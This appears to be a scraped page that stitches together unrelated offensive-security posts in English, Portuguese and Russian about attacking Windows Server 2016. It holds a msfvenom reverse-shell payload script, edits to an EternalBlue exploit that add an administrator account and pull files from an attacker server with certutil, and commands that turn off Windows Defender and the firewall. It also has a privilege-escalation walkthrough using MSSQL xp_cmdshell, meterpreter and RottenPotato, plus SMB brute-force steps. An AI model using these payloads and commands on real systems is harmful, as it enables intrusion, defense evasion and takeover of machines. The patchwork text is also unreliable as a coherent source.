Metasploit windows server 2016

Alive and kicking. Windows 2016 10.0.14393 RTM and some Metasploit testing. Decided not to use MobaXterm for file transfer as this messes up the NTFS security permissions somehow.

This time I have just used Samba to transfer the payloads to the testing system.

In the first scenario I have just used a simple venom generated EXE to check the Windows Defender awareness on the Windows 2016 system. As expected it detects the generated payload and blocks the file transfer.

clear 
echo "************************************************************"
echo " Automatic shellcode generator - FOR METASPLOIT "
echo " By Astr0baby 2011 "
echo " For Automatic Teensy programming and deployment "
echo "************************************************************"
echo -e "What IP are we gonna use ? \c"
read IP 
echo -e "What Port Number are we gonna listen to? : \c"
read port
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=$IP LPORT=$port EXITFUNC=thread R -f exe > default.ex

Next we try the more stealthy method

https://github.com/DoktorCranium/metasploit/blob/master/CUSTOM-meterpreter.sh

From within the default Administrator account no UAC bugs us to get some good system permissions.

Once we get the permissions, some messing around with killing some PIDs to bring the system down.

Please see the recording of the above example here:

About astr0baby

Please run Adblock or similar… we have been told to do so since Carl Sagan wrote the Contact .

This entry was posted in Uncategorized. Bookmark the permalink.

Exploiting Windows 7, 8.1, 2008 R2, 2012 R2, 2016 R2, 2016 Server etc Com Eternalblue SEM METASPLOIT (MS17-010) (CVE 2017-0144)

Script que explora manualmente a vulnerabilidade MS17-010 (CVE 2017-0144 ) e funciona nos sistemas: Windows 7 / 8.1 / 2008 R2 /2012 R2 / 2016 R2 / 2016 Server

Exploit tirado do exploit-db — 42315

Testado no Windows Server 2016 Standard Evaluation 14393

Criei esse respositório pois quando precisei, tive dificuldade para executar o exploit (baixar depedências) e entender o código, sendo assim decidi criar esse repositório para facilitar o pentest caso alguém se depare com o mesmo problema que eu

Preparando o ambiente para executar o exploit

Necessário python2 (python2.7)

$ sudo apt update
$ sudo apt upgrade
$ sudo apt install python2.7

Necessário pip2

$ curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py;
$ python2 get-pip.py;
$ rm get-pip.py;

Baixando pacotes necessários

$ pip2 install --upgrade setuptools;
$ pip2 install impacket==0.9.22

Alterações no exploit

A lógica é usar a função smb_send_file para enviar um executável de shell reversa, e a função service_exec para executar o código.
Porém devido ao Windows Defender não da para realizar isso diretamente.

A função service_exec (linha 923) é onde se localiza o comando que será executado como é mostrado abaixo
A função smb_send_file (linha 922) envia um arquivo local para a máquina alvo

  • Adicionando um usuário e senha (caso não tenha um usuário válido, tente adicionar apenas o USERNAME como guest)
USERNAME = 'guest'
PASSWORD = ''
  • Alterações para criar um usuário com acesso de Autoridade
service_exec(conn, r'cmd /c net user pentester Pentester123 /add') # linha - 923
# criando o usuário 'pentester' com a senha 'Pentester123'
service_exec(conn, r'cmd /c net localgroup administrators pentester /add') # linha - 923
# Adicionando o usuário 'pentester' ao grupo de administradores
  • Alteração para enviar um arquivo local para a máquina alvo
smb_send_file(smbConn, '/path_to_your_filel/eternal-blue.exe', 'C', '/eternal-blue.exe') # Arquivo é inserido na raiz (c:\) neste exemplo

Caso você queira tentar ganhar uma shell reversa vou deixar os comandos necessários abaixo

Executando o Exploit

$ python2.7 exploit.py <target ip>

PoC

  • Na sua máquina execute
touch test
python3 -m http.server 80
  • na exploit altera as linhas 922 e 923
#smb_send_file(smbConn, './shell.exe', 'C', '/shell.exe') #922
service_exec(conn, r'cmd /c certutil.exe -urlcache -f http://<your ip>:80/test test') #923
  • Agora basta executar o exploit
python2 exploit.py <target ip>

Comandos úteis do Windows para pentest

  • Comando para desligar o Firewall do Windows
netsh advfirewall set currentprofile state off
  • Comando para desabilitar o Windows Defender
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • Comando para habilitar o Windows Defender
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 0 /f
  • Comando para habilitar a porta 3389 no firewall
netsh advfirewall firewall add rule name="rpd" protocol=TCP dir=in localport=3389 action=allow
  • Comando para habilitar o RDP no Windows
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  • Comando para desabilitar o RDP no Windows
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

Время на прочтение4 мин

Количество просмотров65K

image

Сегодня мы расскажем, как можно получить права локального администратора на сервере MS Windows Server 2016 через незащищенную базу 1С: Предприятие 8. Мы уверены в том, что данный кейс будет интересен, как специалистам по информационной безопасности, так и системным администраторам. В конце Вас ждет бонус.

Во время выполнения внутреннего тестирования на проникновение мы столкнулись с крайне редкой ситуацией, в сети Заказчика не было обнаружено ни одной уязвимости с помощью автоматизированных сканеров уязвимостей. ДИБ (Департамент информационной безопасности) Заказчика тщательно «пропылесосил» все свои активы и этим закрыл большинство стандартных векторов атак. Мы смогли реализовать несколько сценариев и о самом интересном рассказываем.

Получение учетных данных для MS SQL Server

Сканируя ресурсы в сети, мы обнаружили кластер серверов 1С: Предприятия 8:

image

Данный кластер не был защищен паролем и к нему удалось подключиться с помощью стандартной консоли для администрирования серверов 1С Предприятия. 

Функционал консоли администрирования серверов 1С позволяет настраивать 1С сервер и работать с информационными базами, в том числе просматривать все созданные базы на сервере. Таким образом, был получен список информационных баз, расположенных на данном сервере:

image

Проанализировав все базы, мы обнаружили, что база perf не защищена паролем.

Вход в базу perf можно выполнить без пароля, пользователь по умолчанию обладает правами администратора. После входа в базу выясняется, что она содержит конфигурацию «Нагрузочный тест TPC-1C», предназначенную для тестирования производительности сервера 1С.

image

В конфигурации для тестирования производительности требуется указать учетные данные для подключения к серверу баз данных. Учетные данные сохраняются в информационной базе. В нашем случае так и произошло, системный администратор не удалил учетные данные после выполнения тестов производительности:

image

Мы столкнулись с проблемой, пароль скрыт. Не придумав решения лучше, было решено просто отключить свойство «РежимПароля» для поля «SQL пароль». Для этого открыли информационную базу в режиме конфигуратора. С помощью следующей схемы «Конфигурация -> Поддержка -> Настройка поддержки» сняли конфигурацию с поддержки, чтобы появилась возможность изменить форму в конфигурации:

image

Далее нашли форму с отображением учетных данных и отключили свойство «РежимПароля» для поля «SQL пароль»:

image

Сохранив изменения и запустив отладку, нажали клавишу F5. После запуска конфигурации, открыв форму с учетными данными, увидели долгожданный пароль:

image

Прекрасно, половина дела сделана.

Получение доступа к выполнению команд на сервере

Для проверки валидности учетных данных мы использовали модуль «auxiliary/scanner/mssql/mssql_login» из Metasploit Framework, логин и пароль успешно подошли к MS SQL Server, расположенному на том же сервере:

image

Пользователь sa по умолчанию имеет максимально возможные права, это позволяет выполнить команды операционной системы через функцию xp_cmdshell. Для проверки этой возможности мы воспользуемся модулем «mssql _exec» из Metasploit Framework:

image

Как видно на снимке экрана у нас есть возможность выполнять команды на сервере в контексте пользователя «nt service\mssqlserver».

Повышение привилегий в системе

Осталось повысить привилегии на сервере. Для этого откроем сессию meterpreter, используя модуль «exploit/windows/mssql/mssql_payload» из Metasploit Framework:

image

После того как консоль meterpreter открылась, загрузим модуль incognito:

image

Модуль incognito позволяет красть токены пользователей, тем самым можно выдать себя за другого пользователя и повысить привилегии в системе.

Как видно на снимке экрана выше интересующие нас токены недоступны.

Нам потребуется применить эксплойт RottenPotato, чтобы привилегированный токен стал доступен. Токен становится доступен на непродолжительное время, нужно действовать очень быстро, чтобы не упустить шанс.

Скачаем эксплойт RottenPotato по ссылке и загрузим его через meterpreter.

Запустим эксплойт командой: execute -cH -f ./rottenpotato.exe. Видим, что в списке доступных токенов появился новый – «NT AUTHORITY\СИСТЕМА» Переключимся на него командой: impersonate_token «NT AUTHORITY\\СИСТЕМА» и нам, наконец, удается получить максимальные права на сервере.

На снимке экрана продемонстрирован процесс повышения привилегий:

image

Отлично, система успешно скомпрометирована. 

Бонус

Предположим, что учетные данные для подключения к серверу баз данных не сохранены в информационной базе или была обнаружена вовсе пустая база без конфигурации. Что тогда, спросите Вы?

Специально для этой ситуации мы создали конфигурацию 1C-Shell, которая позволяет выполнять команды на сервере 1С в контексте пользователя USR1CV8, от имени которого работает сервер 1С.

Скачиваем конфигурацию 1C-Shell. Открываем найденную информационную базу в Конфигураторе.

Выбираем Администрирование — Загрузить информационную базу и указываем файл 1C-Shell.dt.

Внимание! Все данные в этой информационной базе будут удалены!

После загрузки новой конфигурации открываем базу 1C. Вводим пароль MArS6M для пользователя Kraud и получаем возможность выполнять команды на сервере 1С.

image

Таким образом, если мы найдем незащищенную информационную базу, то сразу переходим к этапу повышения привилегий в системе.

Рекомендации

  • устанавливайте пароль для администратора кластера сервера 1С;
  • используйте сильные пароли для привилегированных пользователей в информационных базах 1С;
  • отключите пользователя sa в сервере БД, для выполнения административных задач создайте другую учетную запись с ролью sysadmin;
  • регламентируйте процесс создания новых информационных баз 1С.

Резюме

Этот случай наглядно показал, что не стоит полагаться только на отчеты сканеров. Привлекайте экспертов для независимой оценки защищенности вашей инфраструктуры.

June 25, 2021

In this tutorial we will see how to bruteforce SMB credentials using a username and password list. This can help us identify users that use common passwords which would make our organization vulnerable to attacks.

Running an nmap scan on the target shows the open ports. We can see that SMB (TCP port 445) is open and that the target is running Windows Server 2016.

nmap scan of the target host.

This is our user list.

user list.

And this is our password list.

password list.

We will be using the auxiliary/scanner/smb/smb_login module to brute force the SMB credentials. The show info command displays some information about the module including the options that we can use within this module. Note that some of these options already have default values.

show info command in metasploit.

show info command in metasploit.

show info command in metasploit.

The show missing command shows the options that are required for us to run this module. In this case, we are required to at least set the remote host or the target box’s IP address.

show missing command in metasploit.

The set RHOSTS 10.10.10.193 set the target machine, the set RPORT 445 sets the target port which is SMB, the set USER_FILE ./us.txt sets the user list and the set PASS_FILE ./pw.txt sets the password list.

Setting the RHOSTS, RPORT, USER_FILE and PASS_FILE options.

Running show options shows us all the options that we have set. We can see the target’s IP address and port, the user list and also the password list. Note that instead of setting a user list or a password list we could also set a single user or a single password by using the SMBUser and SMBPass commands.

show options command in metasploit.

run runs the module. We can see that it found a couple of credentials that works on this box.

Running the metasploit smb scanner module.

If you liked reading this article, you can follow me on Twitter: 0xmaCyberSec.


Need help with implementation or an upcoming project? We offer professional services at reasonable rates to help you with your next network rollout, security audit, architecture design, and more. Click here to find out more.

If you’ve gained access to a Windows domain, how would you go about determining the types of Windows computers on the rest of the network? You could run a port scan with Nmap or the Metasploit db_nmap command, but port scans garner a lot of attention. Instead we can take advantage of a very common Windows service — SMB. Server Message Block (SMB) operates on TCP:445, and runs on all modern versions of Windows, including Windows Server.

It allows computers to share files and printers, and Linux / UNIX platforms can run a compatible service called SAMBA. Fortunately for us it also tells a lot about the system that’s running it.

We’ll use the auxiliary/scanner/smb/smb_version module to probe hosts we’ve discovered so far for their SMB versions, which are listed below:

  • v1.0 Windows XP, Server 2003 (Deprecated)
  • v2.0: Windows Vista
  • v2.1: Windows 7, Server 2008 R2
  • v3.0: Windows 8, Server 2012
  • v3.0.2: Windows 8.1, Server 2012 R2
  • v3.1.1: Windows 10, Server 2016

We can get the SMB version without authenticating to the remote computer, SMB traffic on a local network isn’t unusual at all, and we only need to probe one port to get what we need.

use auxiliary/scanner/smb/smb_version

I already have a few hosts listed when we run the hosts command, found by running a ping sweep, but I don’t have much information on them except for the host I have a Meterpreter shell on:

Понравилась статья? Поделить с друзьями:
0 0 голоса
Рейтинг статьи
Подписаться
Уведомить о
guest

0 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии
  • Как отредактировать автозагрузку в windows 10
  • Как включить отображение корзины в windows 11
  • Как отменить действие на рабочем столе windows 10
  • Windows mobile 6 professional программы
  • Как настроить запуск программ при запуске windows 11